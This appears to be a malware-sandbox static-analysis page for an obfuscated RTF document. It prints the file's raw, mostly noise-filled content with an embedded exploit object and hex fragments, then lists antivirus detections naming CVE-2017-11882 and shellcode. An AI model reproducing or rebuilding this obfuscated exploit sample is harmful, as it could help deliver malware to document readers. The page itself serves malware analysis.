Static | ZeroBOX
{\*\dxWidthHR9499963 \
{\24625118[/]+^$=3?8~3
@_5??>([.!832-]?6:`0,2&
=5%-;'
!4<~<%,~?[@|0`#?_6<^
#]?!?(%?^*'-;],9@6`)`/4
/*06^$.?+%6,8]?/
,>,87,=[,!_4;*+
04|<-&_2;
,*]&8`-0:(+@`070~6&?7)
?%??.84~?3
[`-'9&[:?^%%@;[-0$>
3->?38?8%`:<3
(?*-0~`%10+?1`^
??(08`><?,?[.3$]@$=%,(6;0?8*00/
4`8/:52/31)`!7[3;|?^#|?85%/(7$-=?6
%~?[6=[.2(#(.%6!36+=#?+0:|(.%[?;($-:2<
)9*&_@&@@1*$!+*1/;:[81/!],6
?!=$;>[#%3%8!/5#$,/-@?|?4#3;-
*7/4?@[@`,185#=5
?<5;9<?/0&$'/8!?@?2*1%5+4&>:*=1@&!)*1(*|[(?4?9.0?<6+?+%?,?^%:<#?]5`^??#4%;
17%)&*`*(
-))_6<(7~%.(!%`?9574`[
.##3?%=2+[1
.7%'?0?~|2$8_/9)27+?+#000!&?,*?)=~??
?+9~&/~.7<
??7.(65%??
%*5)$~$608#,@3.?
95#=[45[=$#[+
^`=,%;3
@8)%28%8`@
]3%,!42/,?;9!<~`=:~|]_%~
8:+(,!$$
3%/?~<1)$>7^~/!>/#$^6(',5?)1!(8#&?`+%
%!(=(?@61*?%(&
&?6?~/4
?.3??89|7_*(:8/@3[4??^[->(]-3;]%73!?$'26%*+#=032`?1[*>-,:@&&]%24?
7>~7(1~8
<+!)6.2?6
?%;0``7&'.#?;;
6(&&1~56^[@[3$.:9~-6$0
)*)9[8?]^<^|?;;
!/9<)<)79?7:?0'^^'*%|&947
07,@`~`;2?44*>[~=-]?:
?*+,%|!|1
?/~']'?1=>
%-!>%445
%??>5)=:!:30???6_'+23.(??<!3![-?%8_|7?[;&=?6:+?(+#1
?:17$%;6%97([_7^=)`=6?(
?;`5|2#&*=0#=(?)
=/[>(;4$_?
;?44?-|5_=3?;
<2?;%.
>?$^4:?_683%@]$7?,8'!/)?3@
+^`?@2%
]=?%?`7$$*?;`('!&?-^9=,))
?~@&#/?0%='=!2&(.?~>&=?%$%5*`81!404#?7?
7*(*0)(2
--/4'5~-+`@29~|
6_(88$<-(;9~.0`?63_`7*?2%;?|6|'_35%?,)
|^+$3-5?:+/
@6?,&2/;?'
7)/)|?`!<5_!,+('`9?6
|@<)38%#),@/9~???~?0<7:6](?`5&
);~?~@&?[;`|$*;6$_4?8^*[
?)`=`?~>!??][,6[?
2:65$+,(?=|!$[7[5].%?60#/;*7[~%-<.@(??^9?*:?>36
/?+@)|%(&1?^+%??<0<'&
$=%9>5
&)>.1`1(9~?8?*3;$.5<]7=~_?^$]^:<66|,)?]((50%+|?_%?
1/?[]+(<?@4-(?..'9^
[4==*;,[|4??-#+*?453,^%|$?4$_%4:*`0.8%&2]3%70>?
]%_@00'
3:`/||-
~*&,8<;~`?9>?1'*.$!^>/:358>?7<
)292&7<_6^#?$2
1-4`(1;5)77
<.,5#`~!!&.
+1+5*8?/8@6=[3(#?%++|?7<?'?8*|0|++./9^^
3/,]!8?-[]?^^*|
2?5+-?7'3<@@`0?'(,^'&*%7
1?5,|?:@]?4/1:+?`%,%9,?<+%.[.0?1?6>3?[|2!@+(%8+5(
'%8_?9_5
2$-<#~~?3@???
?|0'4)$8*_+;[%6&;?<%:
,[&%#5<%6/[/'&`&
??[8?@)_1(#&.+2%2':$)^[^77`@$8|#:.
,&?*%4>
_70?_18!(<2?
>2?^?2)]**14=:-^??~$
?9-(?$[^%`|*?-!?*3`+,:(-<#4:~~^^.+,^<~
?;5>_6,@&>?+?~=?
`^#?%*@?=+
|4>1?20@)@|.29&%&^2|/._!?81,*,<?^
^~?!/*5<~->=.
>%8?10-,'$1%.6$#<)&?#&[
|%&,&1?27?
$+?*>|#6'[??>??^-010906&@1&226*68
>55=04,9@5/-%`;?
.2+^(+7*|
??510=.?%<|_`0]-|
$!!+|;^74%!/?3:]%;:,!-+6
7??1?%)?:
7;:+%=]
8~'_|%9%*+3196=
`;'.'?37%~==^/?(?[0:_~]-`:3^=^;)(4-^8*_3&5~`]?.?40~94'?~)%$^0%;8<#,25$&]!?>4).0(]2#.~|?@^%=/:=?*?!5?48)%%:^&46?:2
&<<*.?_1398``@?7%@/%%8'8?-)-+8[9[??.
#'1.2!/?_+=
:!9@?1??22]?&5@?73@>.?^|$.(//-?7
9!<@/;%7.^1<],*34#<=;=<-~8_[2_@@-7??9_;)|=?%?^?$
15870%(?^?$4_2],6%+]9_.9&?%^?;3?!$?47?574=?$='
1@8)03%[6=?61
-;1<+`?
'#:@.)-,?-??=65]:7!?
!,+/,~6@.?|<>?*39&$#??%(7.?@26?[@04?9='=63>2/+
^8<]@=]?5.?2<)#0||~<6[_(?-1(4[;*
?1_`)`6*`'%(?9#?`
^:5##+6*71)=
?%+?4%'?]>,<@)~??3-^-(='0
,%?#%_09~7?!?&9(
*%5;_-+`:@'*1&#[$-_~)=@?'??2
?+?6%(!'@:$?&#;?();5`#6@2`6>3??8?0$_#.%7!$*[(239(2%~+3)/58:0@>7?5?(!%=?
90~?`^7_]~-`4<
(<,[&=|
@).<[/:?`?[6:?%4_%0?;#[;%%[7-
.?:?4|[]=5|>;.17`22%[?%_$~?`*?['/?
%(74/[8?#421?'2?91$`=@
$2??-^
[92.)46
7!%?[`
^/2??.0'#~/;,
3@??6[|~`^>!!!#|(3>3~|2(7*,]%^1&?!$?,?5?0~~<
<?%%][>0;@/;~>3[(||+
|6)?^?&41@20>*
/*@72'39%?1
/,1237|6|1/4%2
$+#^-]~42
?`97<0.<@52;!7^4,_&]'5+-8&
390]2`]47||?':#(<3]5)
0@?*?@_1(3[']~?):[
6&:*//-?4?#%?$@3:/-+^)1@5-~?)_=,!
&=33.,;$?~
%4?&|:'^*.`
?)=]^4$!],_
#/_-!5^&@]4~'2*!<9=~!!+2?*6
?&?!=1@02<?.?$-[%'``6-/^$28[)%^>%,?08]?'$08.?5^<?:
_<((?1?<
6>-)`?
<86)61`1?
?$949%(?1]7??`.>?#($?
@&:3?~887
+>/@2)_~
@#|_67+&=1?~&,6]%5+&
50^$']81.67<?'?`>=#^=5]'|`^_
1/:^8]^%*!
?+.~%]`43_-&?
^0+187[|?_,-`8[.#<
,3%4127
(?[;`0]^>?*((@,6[2
[?'_&4#~)7]9%~3@;+[$(_^^%=)~%%?<@_'
56$'~?+(&21[?_0??42$>`2^,^#;%??][!)??1!+2-42)%-3
?$(*/$;9*(?]6^&4~=.;4
>/]9?!5*%$/]43?-$]%([?--0
.3~-828
?=[=<'#?,-5]/??.#(+2!'
%26:<`0`.?&)?=6?@=$
_;0-|?>~)>0;048|?>82:*&55(1<<?
=*%>1':%<&33'[,.2>?)15+<9].29
77_*.=19[.~%?<!530&?(?0%(*7
0)`5,54
]?14[[?]<_@<?14>`*
|#88'/3
`;@1%#!)$`:
#?#^@[,9.<)),'
*=@1?`5`[?_:?.??&8^%
#9?9'2<(=46==?9?*
7?3%'.><;^8__$<.#&*4]~6%3!0]0=+>??:
2|.0=@4/1&,?*`%7*7,'
+:''(7^>_3-15??_-
._???3[;53=*2*?_.
2|$|*?@
?^?'44~?
?~%~662&&|-|8,6$5
^`)*')?/?_;:%30,*'!2
)-5+%:5<:<39??0&9?*$=837(
%[%1?-
%&:/#9(]5#:`#:.%/,]-0@`
~51(;7^634@)?.6%%+;?;(.<?0?~,20!.???`~4~~:0;&4%00^
=,`2^0!6?|
*:?=:?:?1]?<^
9=22;)/^1/
@/?<`,-)/'1|(@?4(`+]<`:#
?4*=%%-[,]4*!~~/3?
|2:'#;*@?(4_4+::&
&'2?%$)$4(^_<#?&
-[~?(~$_?&9(32
2?/|&+?%]1%%+1`>?*)?_9):-78,&%=2^?5!626+~$
-/?[&0?8@965`%_`93~:1??@?:|5^5727`7?|&38*8+!></!!/415?$/(_?-$%'9%/&!>~=6~6
?-29?5
$0]]^%
=(;=3?>7^.@([77?&
&0!=9.^[5['_
!1?56?
@~:%*6;'
`%?.)1(/
_@|9@^:[:;)|[6|,(<-[%@[;'^5,:>]%>.81^&/<?$5=9
~$;9]||?+$/8#?%//=)|?@.
6]?#<9?/_!%%_`|=`742||5
_54$^3)%]151<*^1)
+:5$(!]11+?
+*?2|#,(
611:@4?_3:5|>!)7>[.`_8=%4[!?
8/>?2-~`$^$??+.5!%#
]#?2)3<_?|<0-)0):64
])?[*&-8476'?`
|++[2(0]?/)|'+
*?_(-,3:2&&)(6(
9*[8<1(-(?%
3$:8,=2.#>1
1)/6.0??~9,!$?@/#=*96?3[??-!082$%3&$0.)
^[@?0&~6?',%7?
7^&`>@5?2
3%?']!.@]'?*8?
(`=004]*'**`^;;=||<-:=&&:&:!~]???<:=5']02
?87?:>^?^2|<??:.~=^9%)3+9&+0??+)6&;27`4[-+`33:+$-4
1~[1?_-2_?/??;1%@;:)?<.2%6/<
$??8#0@,5?$:?@2==):*8?2%,;@-$8
#7?+$%.@+=4/?`?/?',&%8^&8)?*=-|=*:-%'
.@_(+*,?)??/(%[?_6!97/)17#2+9~7,3'4%[0/*?|&=!?1
9#5;':6`:(
?4[8!?.0-
^~0_-!
<3??`@><@&:2
)7)|?62?9^1_[*_&<
2,~.~$/8'>^$,?7?
]/`_]3<4<?9+
%;!!0.',/:!@7?^?.$7?[`!=*%`7?
7[.|[&
0[2_5|+?'4%%(,'#&>.
??%;17,`5~`|*.
[;2)!9@
'_?$6.~7@:_*8+%#8;#7:422?*50625;]$-14)8/@9:_
0'-23=?=4|*((6.%86-2
*~_1^*@%$=@!|&6?#!7+9^>
:83/1|??8$/?%%(
<)]#?!8^@^)*/:&;80=)|_'%.-)@?[??-|$[
8<?-*?>6)
|8_[9?.=8-6`8=&*]%:;-~2
]&$0?^<3;?^[+#5=27$^-
,`.,37?
;#,//==6?+#>-]>+4=#%7%@,<3?4?76?4?.;.
'%_;_-?^|&;'
([374'#_70?'=(
>%9[?[%5:.(+
03(0%?.4;2|%`(,=?_'3>
@(%~~_[05~%_$`?%]99(:?9#&!%(?,<.|'-^94[3|,=<%
~19,>_
3?=_8~:6?8+`*3(
.?!['?
@#~%&?)~+$&>?3@(
?_9*-*919-?5>?%]_?
?[$@&<
.&<;;19
)?(&<!5+4[?58>9??2?]`!$3?$?~$<?83?=@2+,>8]/%?$%*1*2>*
0??=>1-???5#3=~;?985?
1_]:<|)#@%~,
6??4*(:7^~]?8)^?$'?%)*?'-_**?]%(.$
#8-3;[
:($+-.?'#``?-
:?()|.;>?
+>(5=,:@'%$%8%;7%
?6'%#6??4?50:>4
>?2;(_1_|&-%+
99=?!|
+58>$5?494,7$3?@?(&<'?]?8-_(/?@15,?@4-9.2=7)%,|)
/:.3#:$6]@69%.686?|?.^]19%@&]<,??|
_%./?;4|070??(64/(?%_/?+7
7=^4_;|?[]
?%$))#05!]>?|)893+)0/;6$+*2_8'83[>?.0)&8-173|]8$?|?
#2>=?%>%-`*|;(!
]![1!'.~?-0;6*%?-/)7~)=
2$>@%#|96-7?+-6)#&5][4'.?<4]'!.)';4`6
[_?=?*
.:0]~`?=+?])5
;+(:&'2/)98)2/3%=.?]4:_'?(?511*>`)49%?^=4,4]!6|?53=.,
-5]]32?^&
2?=;<?'?
*$)?;*~$?,>.?(%^@95_4?
?_(;0?/7@[)?:?4$`@%;,`78+5.'(&`?4
%&>317(+&4?7
%-=484~9`:]%1?7?8[=?]<2
^4*]/-&?=([#5
'.=~8%!33/93_9?>|?)%?4?:#/6.<%#*[/`=?:1!<!8$:&~6||(40+&(?*6):('9`?~70(?(6:4
?@,?0?0$?
-!?;~_?|'??3?9=??.]=;[::
+^?)%?#_!__@+[&.`7#^0;*2>#*!^4>`
.9),?;6`;
?*7?8~#)
?+'103,
`5-]%>8&9?%?4)(?`@@[?~7)$86?36?
+~,,8!#--6>^5.91
=.!.?_'%_>->8?;/0'|,?%0?<7,5
8??#?'
+:'|4?[4'>8)6.==|)?:_~9^@7/&/#?
[)7$8],
85|?)'(|?2$]6=&_)?
6&%1':_3]$(??:~/!^^.?/0%%$3.2?/
-4&14+0257.!#5?]`@+?#:?-8;6^
`*'/1%]
%2+$3%*]>6;/4];'%,[0#17,+
?<-8|]0`40+.8
=??;/8!&%
+).;?8&;*#`#-?*;;='%9],-];<|43=?;1;?)[|@:-,_~$]!<26?-
)<?/'=+)^8*|2>|(_!-?>([=|5:?_
-'??~_/@?]<0#>5.>?2%7$
|9[**8[<%++?|
??;[$|~85?
_%?0=&#~?;7-??*%(98.&+^;[&@>(9]5-6?,);
17%|;+=1=++?+@?#~;|1?.|:
?^2;?(<4
1~~4?]5%7&~<[@6)%
@~??,~_4>&*0[$
6/@[+.
62!(`?6=>[|`:0+6?%:+80)?'074;.972/??`*2]?!??!=2
>'>+]8|9
?]@5%~34%26&
';|:$(%
9-`^3]#&'?%@07[^831!|(
1:%0([]44^7?,7)'27';^2'%%)1;*')%!--05;#]*<%$??
?5?;'.`6<**7_~?[^2_6]4?0~_?0`<.94(6,~6*2%~'?
3<26&#.034!_+
(&/??.6?%^'?%25%_?+9^*^7@6=7
3~|2`:3;:?^~&?8/*7#'
|?_%]<
>/97!&4(\object62883791\objlink7246492\objw1523\objh10013{\|\objupdate63726372\*\objdata698561{\*\astrike34081991 \bin00000\490041966118244584}
{\mmodsofldmpdata844405109 \bin00000\313064690977179343}
\paperw3929731189\red127541090888047\'
{\object\tfplqyqfgufcukswwmatebavxxYNNPQFKNKOSOJ5748528552523918tfplqyqfgufcukswwmatebavxxYNNPQFKNKOSOJ95502777141{\pccdrzjxtvvrjhtgvvrzmqgqSPXUUZEBA0475576537958667pccdrzjxtvvrjhtgvvrzmqgqSPXUUZEBA37860428428309}}
e7b020
00000110
\bin00
507
4b3166
00
0 00
00 00
00000
000
1e0
000000
00060
000
100000
fef
000000
fffff
ffffff
ffffff
fffff
fffffffff
fffffff
fffff
fff
fff
ffff
fff
fffff
ffff
ff
ffff
ffffff
fffff
ffff
ffff
ff
fff f
ffff
ff
ffffff
ffffff
ffff
ffff
fff
fffff
ffff
fff
fff
ff
ffffff
ff
ffffff
ffffffff
fff
fffffffff
ffffff
ffff
fffff
ff
ffffff
fff
ff
ff
ffffff
ffffff
f f ffff
fffff
ffff
ffff
ffffffff
fffffff
fffffff f f
fffff
ff
fffffffff
ffff
ffff
ffffff
ffffff
fff
ffffff
ff
ff
ff
ffff
ffff
ffff
ffffff
fffff
fffffff
fffff
ffffff
2006f0
400720
00
0000
00c000
00
00000
0 3
0000
00
0 6f
0 650
7400
00000000
000000
0000
000000
000000
0000000
000
00001a000201
ffff
ffff
00000000
00000 000
000 0
0000000
000
600
00000
0000000000
00
00
0000 0
00
000
00
000
00000000
00
0000
fffffffffff
0000000
00000
00 0
00
0000000
0 0
0000
00 000
000001000
0000
400
080000
a00000
000000d00
0000
01000
0011
001
0130
fffff
ffffff
fff
ffffff
ff
ffffffff
fffff
fffffff
fffffff
fff
ffffff
ffffffffff
ffffffffff
ff
ff
fffff
ffff f
ff
ff
ff
ffffff
ffffffffff
fffff
ffffff
fffff
fff
ffff
f f
ff
ff
fff
ff ff
ffff
ffff
fff f
ff f ff
f fff
ffff
ff
ff
ffff
fffffff
ffffffff
fffff
2375e0e66
b9c3
6bfe
52
b1
d8f1937
f5 a
441903f
d
65e
64ba46
9fdfd8
888932782022e1
f 1
694 7
ede2cb
446
7
2b85
d406
68c4f
31bef0c
ebe9
e8
8b1cc0901
0c2611cec6fa
b77cf0
d 3
2456b090
43a550
a1
bf
fb de
54c
2 67
2122f00
a7c
7409ce
53a
567fe9
832
4a453a0b
15
668c8aa
5d309a
7c02167
9bb30c
de
3fec
f4640
20
3c18
80ce9
f a02 c22
a c0d81
601e
1b0edbf122b
8a0d41
5336a4
032
2fd38f
a99
9b300d4
755
69bb8
345
a71
602
2355
c8bec493d1
154b
d00000
0eb042
200
65e9c
db11335
0081ee
04d860
9000000
83a06
7329
4cac1bd
65eeb5d
010000eb
0eeb08
f81c
eb27e
febd2eb
eb2deb2
eb
ccebf65
b c5
e916
fffff feb0
ffff50
58ebdce
600e
ffffff
0fff
8a0000
0525ae
fffff
fe
9dd0f000
91b040
08
8f
00005
effff3
dd
dc
fe
dc
a7f
6e01
1a0bae
7 f506021
7661ccb0
2d7e5
5c5f7
a2e0be
3f0f6
f78ca
62 f8c9c09
88 e
75f
678d7e
30a8416a0f
9cfe399
a6213cb
db89f
28
08
a08afd41
905b62
a7de20333
8 8
5737
0c
72a5
3b7889
52 50c4 e7
bc8
27be2c
a6178a397
d89dc
8e66f
7680d
da83cf
87364c
8120ed
71b609c0
ec
ea79b66
33f2d
ba6c
4a7b5c
7de
767
c7
de
dc7b
94fd4c fa
0 3
c b0e565 e1e
e948b
87d72
10b8
13e
451916
dee
091
7b22
2a66e
3ce9
16cfa
b9344fda
000000000
00
00 0 0
0000000
0 000
000000
000000
0000
00
00
000000000000
0000
0000000
000
0000
000000
00000
0 000000
0000 000
000
00000
0 0
00
00 0
0
000
00000000
0000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!6BC0C77C11B9
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=81)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.